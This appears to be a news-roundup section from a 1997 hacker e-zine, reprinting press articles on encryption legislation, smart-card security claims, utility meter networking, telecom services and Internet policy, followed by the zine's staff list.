never to underestimate the tenacity of computer hackers: "Anyone who says their system is bulletproof is either a liar or stupid," says one. "If I'm wrong," says Crypto-Logic's VP and COO, "we're out of business." http://www.ultimateprivacy.com (Wall Street Journal 22 Aug 97) ═───────────────────────────────────────────────────────────═ Digitizing Your Meter Reader by Gene Koprowski 18.Sep.97.PDT -- A visit from the meter man is rarely a cherished event. Meter readers dread the prospect of crazed canines, and customers don't much like strangers tromping through their yard or basement. To automate this timeworn process, utility companies are piloting programs that use customized networking technology to remotely read meters and monitor the energy usage of specific appliances. A technology trial at Nashville Electric Service, a division of the Tennessee Valley Authority - the Depression-era creation of President Franklin Roosevelt - will link consumers to the energy company via a computer network. The technology behind the service - developed by Nortel and TeCom - provides automatic meter reading, outage detection, and remote connect and disconnect capabilities. To test the service, Nashville Electric is installing a network router and digital meter reader in the homes of 100 residential customers - and in the offices of about 40 customers. These meters will be linked to LANs and PCs, creating a bi-directional consumer electronics network: Individual appliances, like a toaster, microwave or refrigerator, will be online, enabling consumers to monitor their usage down to the kilowatt, said TeCom spokesman Mike Mahoney. "It will allow users to analyze their usage patterns, as they do with long-distance phone bills," Mahoney said. "If the toaster is using too much energy, they can reduce their toasting activity." The technology project was inspired by the move toward deregulation in the utility industry, said Teresa Corlew, a spokeswoman for Nashville Electric. Companies are looking for ways to show consumers how they can lower costs; technology is one way to do that. "We want to run the test for a year and then assess the results," she said. "After that, we may roll it out to the entire area." Those participating in the test are volunteers who happen to have PCs in their home and are concentrated in an area of the city that relies primarily on electric service, rather than gas. The voluntary nature of the test may be smart marketing for Nashville Electric. In Roselle, Illinois, a suburb of Chicago, a water meter-reading system was recently installed that employs the telephone network. All residents must comply with the system by January, or they will be fined. But, says Darcy Bretz, a local resident, several people in the suburb don't like the idea because they think that their phones are being tapped and that their privacy is being invaded. Other experiment-minded locales are examining wireless data networks, which will be online for tests in Massachusetts and Rhode Island by early 1998, using a small, low-cost radio device that is hooked to an existing meter. Its hoped that the technology's unobtrusiveness will win over consumers - observers indicate that customer-preference must drive these trials. "This kind of thing is starting to go on all over the industry," said Lori DeMatteis, a senior associate at Metzler Associates, a Chicago-based energy consultant. "There are a lot of different technologies and billing systems that are emerging, but no clear winner yet. There will be several benefits that users will see. There will be increased accuracy in billing, for instance. Also, you won't have to worry about the man entering your yard, and they don't have to worry about your dog." ⌐1993-97 Wired Ventures, Inc. ═───────────────────────────────────────────────────────────═ AT&T Tests New `00' INFO Directory Assistance Service September 22, 1997 Directory Assistance the Way Customers Really Want It SEATTLE, Sept. 22 PRNewswire -- AT&T today announced that it will conduct a market trial of its new AT&T "00" INFO(SM) (Double-0 Info) national directory assistance service in the Seattle area. Beginning today, AT&T customers in Seattle will be able to dial "00" to obtain telephone listings for any place in the United States with one simple phone call -- even if they don't have the area code or exact city. In marked contrast to the industry trend to provide fully automated directory assistance, AT&T "00" INFO Service features personal, courteous, helpful service from specially trained AT&T information assistants who will stay on the line for the entire call. From the moment they greet the customer by introducing themselves, AT&T assistants are there to help customers simplify their lives, by searching for a directory listing with as little information as a partial name and a locality or state. And AT&T assistants will stay with the customer through the end of the call when they provide the requested information. "We're providing directory assistance the way customers really want it," said Howard McNally, vice president of AT&T Consumer Markets Division. "AT&T is bringing back the personal touch. Not only will we stay on the line with our customers, but we'll do everything within our power to meet their needs -- using enhanced search features to find the listings they want, and even the address and zip code, if that's what they need." In addition to personal service, AT&T "00" INFO also includes several new search capabilities: * A new expanded search capability allows AT&T information assistants to extend a directory search to surrounding communities when they can't find a requested listing in a designated city or town -- even if the caller doesn't know what those communities are. * A key word search function allows AT&T information assistants to search for a business listing when the caller doesn't know the full or exact name of the business. This search will find the listing if the key word appears anywhere in the name. Seattle is one of only five service markets in the United States to be selected to test the new AT&T "00" INFO Service. The other test sites are Minneapolis, Phoenix, Denver and Portland, Ore. AT&T customers in these trial markets need only dial one simple number, "00," from their home phone to reach an AT&T information assistant who will help them find telephone listings anywhere in the United States. This means they no longer need to dial multiple numbers for directory assistance, or know whether the desired number is local or long distance. And since they don't need to know the area code to get a listing, customers no longer need to make two calls for a listing -- the first for the area code, and the second for the telephone number. During the market trial, AT&T is offering the new AT&T "00" INFO Service at the same 95-cent price for two listings that it charges for its conventional directory assistance. In addition, customers can request an unlimited number of listings on a single call. When AT&T customers dial "00" from their home phones, they will hear the familiar AT&T acknowledgment, followed by an automated system prompting them to press "1" for AT&T "00" INFO directory assistance. AT&T "00" INFO Service is also available to AT&T customers in the (CITY) area even when they are away from their residence phone. By dialing 1-800-CALL-ATT, followed by Prompt "4," customers will be connected to AT&T "00" INFO directory assistance. The AT&T "00" INFO directory assistance service trial is limited to listings in the United States. SOURCE AT&T ⌐PR Newswire. All rights reserved. ═───────────────────────────────────────────────────────────═ Bellcore Scientists See Cold-Weather Problems (And Possible Solutions) For Dense WDM Cables September 22, 1997 SAN DIEGO, Calif.--(BUSINESS WIRE)--September 22, 1997--Cold weather presents important challenges to dense-wavelength-division-multiplexing technology, but those challenges can be overcome by prudent risk-assessment and proper network planning, Bellcore scientists revealed today. The scientists, Gabor Kiss, Osman Gebizlioglu, Dean Rader and Casey Wieczorek, published their observations in a paper delivered today at the National Fiber Optic Engineering Conference, here. The paper, "New Developments in Temperature-Induced Cable Loss," is one of a series of studies on fiber-optic cable performance made by Bellcore over the past five years. "We've known for awhile that cold weather changes the internal geometry of fiber-optic cable, and that this change bends the optical fibers in ways they weren't designed to be bent," said Kiss. "However, we also knew that this was something we could live with in equipment operating at 1310 nanometers. With dense WDM transmission, which happens at 1550 nanometers, the loss becomes much worse." Kiss added that some makers of DWDM systems plan to use 1625 nanometers for network supervision. "Our study indicates that this supervision would fail long before the network failed at 1550 nanometers," Kiss said. Finally, Kiss pointed out that extremely cold weather can affect both the "working" and "protected" channels -- that is, the fiber being used and the fiber being held in reserve. "That means that temperature-induced cable loss over a wide geographic area may frustrate a diverse-routing protection scheme," Kiss said. Kiss, Gebizlioglu, Rader and Wieczorek subjected cables to several years of simulated seasonal cycles and monitored the loss in their laboratory in Morristown, New Jersey. They also conducted field tests on cables at Bellcore's research facility in Chester, New Jersey, and in Maine. For equipment suppliers and network operators, Kiss said, this news should be sobering, but not discouraging. "The fact is that there are ways to assess the individual risk faced by particular products in particular environments, and Bellcore is available to assess that risk and work toward a way to minimize it," Kiss said. Kiss and his colleagues are also engaged in writing Bellcore generic requirements for DWDM equipment, and for fiber-optic cable. Bellcore, headquartered in Morristown, New Jersey, is a leading provider of communications software, engineering and consulting services based on world-class research. Bellcore creates business solutions that make information technology work for telecommunications carriers, businesses and governments worldwide. Bellcore has sales offices throughout the United States, Europe, Central and South America, and the Asia-Pacific region. On November 21, 1996, SAIC (Science Applications International Corporation) announced that it had agreed to purchase Bellcore once requisite regulatory approvals had been obtained. More information about Bellcore is available at its Web site, www.bellcore.com ⌐Business Wire. ═───────────────────────────────────────────────────────────═ Is the Internet a Matter of National Security? Monday, September 22, 1997 Gary Chapman Is Director of the 21st Century Project at the University of Texas at Austin. he Can Be Reached at Gary.chapman@mail.utexas.edu Slowly but surely, step by incremental step, the Internet is being pulled into the forbidding black hole of "national security." Several recent developments have raised warning flags that the global communications network is now regarded as the turf of the people and institutions left over from the Cold War. On Sept. 5, the President's Commission on Critical Infrastructure (http://www.pccip.gov/) released a report calling for a huge increase in funding for protection of the "critical systems" of the nation, including electric power distribution, telecommunications, banking and finance, water, transportation, oil and gas storage and transportation, emergency services and government services. The commission recommended doubling the current federal R&D budget of $250 million for protecting these systems, with increases of $100 million each year after 1999 to $1 billion per year by 2004. The commission's chairman, retired Air Force Gen. Robert T. Marsh, told the Associated Press ([Company Capsule]), "These are the life-support systems of the nation. They're vital, not only for day-to-day discourse, they're vital to national security. They're vital to our economic competitiveness worldwide, they're vital to our very way of life." Ten days ago, the House Select Committee on Intelligence in the U.S. Congress voted to require that all technology for encrypting data provide a "key" that could be obtained by law enforcement or national security officials. The vote reversed a trend toward relaxing such controls--one of the chief political goals of the high-tech industry. Committee members cited the warnings they received in "classified briefings" as the main reason for their vote. Later this month there will be a high-level conference in Chicago titled "The Information Revolution: Impact on the Foundations of National Power," hosted by the Center for Strategic and International Studies (http://www.csis. org) and featuring many of the graybeards of the national security state, such as arms control negotiator Paul Nitze, former Georgia Sen. Sam Nunn, Bob Galvin of Motorola and ubiquitous conservative pundit William Bennett. This signifies the discovery of the Internet by the highest mandarins of the American power establishment, and the title of the conference frames the subject in an ominous fashion. This summer I was visited by, and gave a briefing to, a delegation of Washington experts from the intelligence community--about a dozen gentlemen from the CIA, the National Security Agency, the Treasury Department and the Pentagon. It was at this meeting that I first heard the explicit statement that the Internet is now regarded as a critical national asset that these agencies believe needs their protection and attention. The Internet, of course, has always been linked to the Defense Department--it began, in the late 1960s, as a defense research project, and the Defense Advanced Research Projects Agency was its overseer until 1983. But the Pentagon never considered the Internet (or Arpanet, as it was known until 1983) to be a "critical" communications network. There is a persistent myth that the Internet was developed in a particular way to sustain damage in a nuclear attack, but this was never true, as is pointed out in the definitive history of the Net, "When Wizards Stay Up Late," by Katie Hafner and Matt Lyon. The Internet was always a research project and chiefly a means to pass information between incompatible computer systems. But now the Internet is increasingly embedded in the nation's economic life. More and more commerce is conducted on the Internet. Basic utilities, like power and water, are beginning to use Internet-related computer networks for monitoring services. The federal government is increasingly dependent on computer-mediated communication over networks. Many people in positions of power see the Internet as a precursor to a vast global infrastructure of commerce and communication that the U.S. is likely to dominate. Whatever global empire the U.S. will have in the 21st century is likely to depend on this technology. This global character of the Internet raises an interesting paradox for the national security community. The Internet promises easy global commerce for companies, no matter where they're physically located. These companies have an intense interest in computer security, but they tend to be wary, if not hostile, to national security imperatives. When the Reagan administration, in the mid-1980s, attempted to implement a new security classification for digital information called "sensitive not secret," the private sector rebelled, and the proposal was killed. In the same period, manufacturers of supercomputers and high-end workstations chafed at Pentagon export controls. Now the battle is being waged over encryption, and last week's defeat for business may raise the stakes. The House committee vote "is a disaster," said Rebecca Gould, vice president for public policy at the Business Software Alliance (http://www.bsa.org). Business leaders outside the defense industry have long had a strained relationship with the spooks and Dr. Strangeloves of the national security community. During World War I, for example, Henry Ford and other major industrialists were pacifists and globalists who railed against militarism, jingoism and paranoia. The military responded by accusing Ford and his supporters of greed, obsession with profits, and a lack of patriotism. For most of the first half of this century, U.S. business leaders believed the military and its attitudes were the chief enemies of commerce, which they regarded as the foundation of world peace. These days, with the Internet firmly in the hands of the private sector, the noises coming from the Pentagon, the CIA and the FBI are much more conciliatory--they promise to "work with industry" to help "secure" the nation's "critical systems." But this contemporary savoir-faire should make us even more nervous. Looming before us is the absorption of the free and open Internet into the gloomy abyss of classified information, black budgets, secrecy, surveillance, shadowy characters, macho patriotic posturing, and all the other trappings of "national security." ═───────────────────────────────────────────────────────────═ Hacking Smart Card Chips: At What Cost? 09/25/97 By Mo Krochmal, TechWeb LONDON -- Mondex International, developer of one of the world's leading electronic cash cards, has come under fire from a security expert for allegedly underestimating the ability of criminals to hack into its products. The E-cash pioneer, which is controlled by MasterCard International, announced Monday its latest chip, the H8/3109 device developed by Hitachi. E-cash cards let users pay for goods and services with electronic tokens that can be freely exchanged for paper money and coins money in banks. Mondex, which said it plans to market 5 million E-cash cards by the end of 1998, said in a statement that the chip had undergone "fault-analysis interrogation by some of the leading chip and security laboratories in the world." But Mondex was criticized Monday by a leading academic cryptography expert for underestimating the risks of the card being hacked. Ross Anderson, a professor at Cambridge University in England, said the technical sophistication of the security measures taken by Mondex do not reflect the high level of technology and skills available to criminals. "I think Mondex picked an inappropriate time to go for a world launch. There are too many new attacks -- people are looking at things all the time," Anderson said. "If something is released today, there is no guarantee it will be good three months from now. In five or 10 years, things will have stabilized." The Mondex card was the subject of rumors earlier this month that it had been successfully hacked, following a presentation at the Eurocrypt cryptography conference this summer. The Eurocrypt presentation showed that the surface wiring of a silicon chip, which was not identified by name, could be manipulated in a way that allowed access to the information stored inside. According to a document posted on the Web, Mondex was the subject of the attack described at Eurocrypt. The anonymous posting said an ion beam was used to reconnect a link on the surface of a Mondex chip, letting the memory be output to the card's serial port. Mondex denied the claim Wednesday. John Beric, head of security at Mondex, said the type of attack described at Eurocrypt had not been state-of-the-art for many years. He added that the Mondex chip design was adapted in 1992 to take into account such an attack. Mondex chips are still tested for attacks such as those described in the anonymous posting, he said. "No system is perfect. We go on the contingency that something horrible is going to happen, and we have contingency plans so we can tolerate a loss and stem it where we can," Beric said. Mondex and chip manufacturers argue that the high cost of hacking into a single chip, " a process which requires skill and expensive equipment," means hacking cards is uneconomic, because breaking one chip's security doesn't necessarily breaking into other chips. "Any chip can be compromised, the question is: How much money does it cost to compromise the chip? The goal is to make the cost of compromising the chip greater than the value of compromising the chip," said Thomas Horton, smart card microchip product manager at Hitachi. But some academics said the chip industry's cost-benefit argument is flawed. Hacking, or reconfiguring a chip, "is a routine process," according to John Orloff, a professor at the Laboratory for Ion Beam Research and Applications at the University of Maryland, in College Park. Orloff said a technician with access to a focused ion-beam machine and intimate knowledge of a chip could "lay down a few microns" and reconstitute something such as a severed link on a chip in just 30 minutes. The machinery to do something like that is not cheap, Orloff said, but it is common in semiconductor labs and universities. ⌐CMP Media, 1996. ═───────────────────────────────────────────────────────────═ House Panel Rejects Crypto Amendment by Rebecca Vesely 24.Sep.97.PDT -- After nearly four hours of wrangling, the House Commerce Committee today passed a market-friendly encryption bill, voting down an amendment 35-16 that would have imposed strict domestic controls on encryption. "Throughout this debate in the past few weeks, the members have been swinging towards privacy," Representative Edward Markey (D-Massachusetts) told reporters after the vote. "I think that's going to happen in every single public debate that's held." The Security and Freedom through Encryption Act, sponsored by Representative Bob Goodlatte (R-Virginia), passed in a 40-11 vote with an amendment that strengthens penalties for using encryption in a crime from five years to 10. The amendment, sponsored by Markey and Representative Rick White (R-Washington), also establishes a "national encryption technology center" in which companies would work with law enforcement on encryption technologies, although where funding for the center would come from or who would participate is undefined. But the committee and the House remain deeply divided over just how much access law enforcement should have to digital communications. Despite two weeks of 'round-the-clock staff work and lobbyists haunting members and aides, panel members could not find a compromise between law enforcement and privacy concerns. In fact, many could not understand why technology can't sort the whole mess out. "If these cryptographers are so smart, why don't they invent some decryption devices for law enforcement?" asked Representative Mike Oxley (R-Ohio), a former FBI agent and chief sponsor of the pro-law-enforcement amendment that failed. Arguments for the need for law enforcement to access encrypted data surfaced again and again, as members pointed out that drug cartels use strong encryption to secure their data. "Computers and the Internet have become fertile ground for terrorists, drug cartels, and child pornographers," said Representative Greg Ganske (R-Iowa). But the committee majority appeared to be swayed by the argument that the wide availability of strong encryption on the global market made Oxley's proposal - to prevent all Americans from using encryption without immediate access to plaintext by law enforcement - illogical. "This is the Prohibition of the electronic age," said Representative Anna Eshoo (D-California). "People drank anyway. Liquor was out there, and it was easy to make." Markey said the Oxley proposal's requirement for easy access to encrypted data could become the "Achilles' heel of electronic commerce." The bill's next test: the House Rules Committee, which will decide in what form, if any, the bill will reach the House floor. Two weeks ago, the House Intelligence and National Security committees passed a series of amendments, one similar to Oxley's, that would undercut the intent of Goodlatte's original legislation. Rules Committee chair Gerald Solomon (R-New York) sent a letter to Commerce Committee members warning them that he will block any variation on the Goodlatte bill that does not carry the strong key recovery provision Oxley tried to get passed. Goodlatte told reporters after the Commerce panel session that he is going to work immediately to try to get the bill over the next hurdle. "We are certainly going to be working with the leadership and the Rules Committee to make sure everybody who has an opinion about this gets heard and that we design a bill that will have strong bipartisan support," he said. Goodlatte still faces a long road. The bill has 252 House co-sponsors - a solid majority should it reach the floor. But it would still have to be reconciled with radically different Senate legislation and gain President Clinton's signature before it becomes law. ⌐1993-97 Wired Ventures, Inc. ═───────────────────────────────────────────────────────────═ Internet Addict Placed on Probation in Ohio - from FH CINCINNATI (Reuter) - An Ohio woman described by police as an Internet addict was placed on two years probation Tuesday for neglecting her three small children while spending several hours a day on her home computer. Police said Sandra Hacker, 24, kept her three children in deplorably filthy conditions in a separate room of her apartment, while devoting her time to the Internet. Judge William Mallory of Cincinnati Municipal Court also fined Hacker $100 and court costs and suspended a 180-day jail sentence on condition that she take parenting classes under supervision of probation officials. The children, ages 2, 3, and 5, have been in the custody of her estranged husband since she was arrested on the neglect charges earlier this year, her attorney, John Burlew, told Reuters. Permanent custody rights will be determined in a divorce proceeding in which the couple is now involved, he said. ═────────────────────────────────────────────────────────────────────────────═ ┌--────────────────────────┐ : thtj communications, inc.│ ·-──-──────────────────────┘ Editor-in-Chief: Scud-O, scud@thtj.com Executive Editor: KungFuFox, mazer@cycat.com Submissions Editor: Keystroke, keystroke@thepentagon.com Distribution Editor: Malhavoc, malhavoc@thtj.com Site Manager: Scud-O, scud@thtj.com Content Editors: FH, fh@sinnerz.com Malhavoc, malhavoc@thtj.com Phrax, phrax@thtj.com Staff Writers: memor, memor@thtj.com ArcAngel, arcangel@thtj.com lurk3r, Shok, The Messiah, tm@sinnerz.com ═────────────────────────────────────────────────────────────────────────────═ A-th-a-th-a-th-a-that's all folks! ┌--───────────────────────┐ : - End of Communique - │ ·-──-─────────────────────┘